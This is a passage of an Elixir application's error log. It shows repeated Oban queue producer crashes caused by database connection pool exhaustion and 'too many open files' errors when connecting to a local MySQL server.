    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:42:16.242154Z], limit: 50, uuid: "45a232ec-0189-4329-ab53-59155717f4ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.242160Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66846>, refresh_timer: #Reference<0.2525715032.1099431938.66795>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:42:16.245667Z], limit: 10, uuid: "9224ad6a-d739-46b3-bcb3-687a8828c5f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.245673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215908>, refresh_timer: #Reference<0.2525715032.1121189889.215893>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:42:16.241910Z], limit: 3, uuid: "0fb858d3-a3bf-4130-8835-03baf9bd7592", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.241917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66783>, refresh_timer: #Reference<0.2525715032.1099431938.66782>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:29.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:34.230000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:34.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:42:28.239570Z], limit: 50, uuid: "d763c118-6336-4908-91c6-7016120e97e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.239576Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49335>, refresh_timer: #Reference<0.2525715032.1068498948.73455>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:42:28.239966Z], limit: 10, uuid: "b64bcf5e-eb63-4ae2-b1d2-e932c8b8affe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.239972Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49331>, refresh_timer: #Reference<0.2525715032.1077673987.49314>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:42:28.238547Z], limit: 20, uuid: "b8089108-5cc8-4ed0-a798-343861792fc0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.238554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66929>, refresh_timer: #Reference<0.2525715032.1099431938.66906>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:42:28.240122Z], limit: 3, uuid: "c6770626-905f-4a91-9eeb-2579c7f2e04e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.240126Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49332>, refresh_timer: #Reference<0.2525715032.1077673987.49319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:42:28.239182Z], limit: 5, uuid: "8639c60f-0d75-4a8a-a419-f27bb1b9aecb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.239188Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49334>, refresh_timer: #Reference<0.2525715032.1068498948.73442>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:42:28.239031Z], limit: 5, uuid: "adf85ad6-3c92-4f7d-bd03-dc64e29830c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:28.239037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49333>, refresh_timer: #Reference<0.2525715032.1068498948.73429>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:41.321000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:41.503000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:41.976000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:43.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:45.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:46.102000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:48.466000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:50.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
